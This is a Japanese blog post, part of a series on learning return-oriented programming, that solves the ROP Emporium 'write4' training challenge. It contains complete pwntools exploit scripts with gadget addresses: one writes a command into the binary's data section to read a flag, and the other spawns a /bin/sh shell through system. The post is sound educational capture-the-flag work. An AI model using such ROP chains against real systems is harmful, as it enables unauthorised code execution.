a

よろしくのキワミ

ROPについて勉強する ~4~

ROPについて勉強する ~4~

続き

ropemporium.com

今回の問題では呼び出したい文字列の/bin/cat flag.txtが存在しないので、実行可能領域に書き込んでsystemをcallすればよい

解いていく

必要な要素として実行可能領域を探し、/bin/cat flag.txtを書き込めるスペースを探さないといけない

radare2のコマンドでどのセクションに書き込めばよいかを調べる

f:id:toDo:20190819183657p:plain

調べてみると

f:id:toDo:20190819183852p:plain

書き込みの権限が与えられている(-w write)箇所がいくつかある。

今回はこの中でdataセクション(0x00601050)を使用していくことにする。

dataセクションに書き込むために必要な命令セットはropperというツールで調べてみる

$ ropper -f write4

入力値をメモリに保存し、それをpopしてsystemに引数として渡すため、必要な命令セットは2つある

  • メモリに保存
0x0000000000400820: mov qword ptr [r14], r15; ret;
0x0000000000400890: pop r14; pop r15; ret;

これらを使うことでメモリに値を保存し、レジスタに書き込むことになる

あとはお馴染みのpop ret命令セットを使用してsystemを呼び出せるようにする

f:id:toDo:20190821021319p:plain

exploit

exploitを書く

from pwn import *

padding = 'A' * 40

pop_rdi_ret = 0x0000000000400893        # pop rdi ; ret address
call_system = 0x00400810                # system call ddress
data_section = 0x00601050               # data segment address
pop_r14_r15 = 0x0000000000400890        # pop r14 ; pop r15 ; ret
mov_r14_r15 = 0x0000000000400820        # mov qword ptr [r14], r15; ret;

exploit = padding

# Previous part divided by 8 bytes
exploit += p64(pop_r14_r15)
exploit += p64(data_section)
exploit += 'cat flag'
exploit += p64(mov_r14_r15)

# The latter part divided by 8 bytes
exploit += p64(pop_r14_r15)
exploit += p64(data_section + 8)
exploit += '.txt\x00\x00\x00\x00'       # setting 8byte because qword
exploit += p64(mov_r14_r15)

exploit += p64(pop_rdi_ret)
exploit += p64(data_section)
exploit += p64(call_system)

# process run
elf = ELF('write4')
io = process(elf.path)
io.sendline(exploit)
print(io.recvall())

というわけでflagが入手できた。

f:id:toDo:20190821030738p:plain

おまけ

任意の文字列をsystemに渡して実行できたということで、好きなコマンドを好きな個所で実行できるようになった。

よくあるようなshellを起動する場合は上記でcat flag.txtを挿入してる部分を以下のようにしてやればよい

from pwn import *

padding = 'A' * 40

pop_rdi_ret = 0x0000000000400893        # pop rdi ; ret address
call_system = 0x00400810                # system call ddress
data_section = 0x00601050               # data segment address
pop_r14_r15 = 0x0000000000400890        # pop r14 ; pop r15 ; ret
mov_r14_r15 = 0x0000000000400820        # mov qword ptr [r14], r15; ret;

exploit = padding

exploit = padding
exploit += p64(pop_r14_r15)
exploit += p64(data_section)
exploit += '/bin/sh\x00'
exploit += p64(mov_r14_r15)

exploit += p64(pop_rdi_ret)
exploit += p64(data_section)
exploit += p64(call_system)

# process run
elf = ELF('write4')
io = process(elf.path)
io.sendline(exploit)
io.interactive()

感想

難しかった(小並感)

前回の記事の感想で「任意の命令セットが見つからない場合はどうしよう」と書いていたが、今回は任意の文字列が見つからない問題だった。

強くなりたい♂

参考にしたサイト

プライバシーポリシー お問い合わせ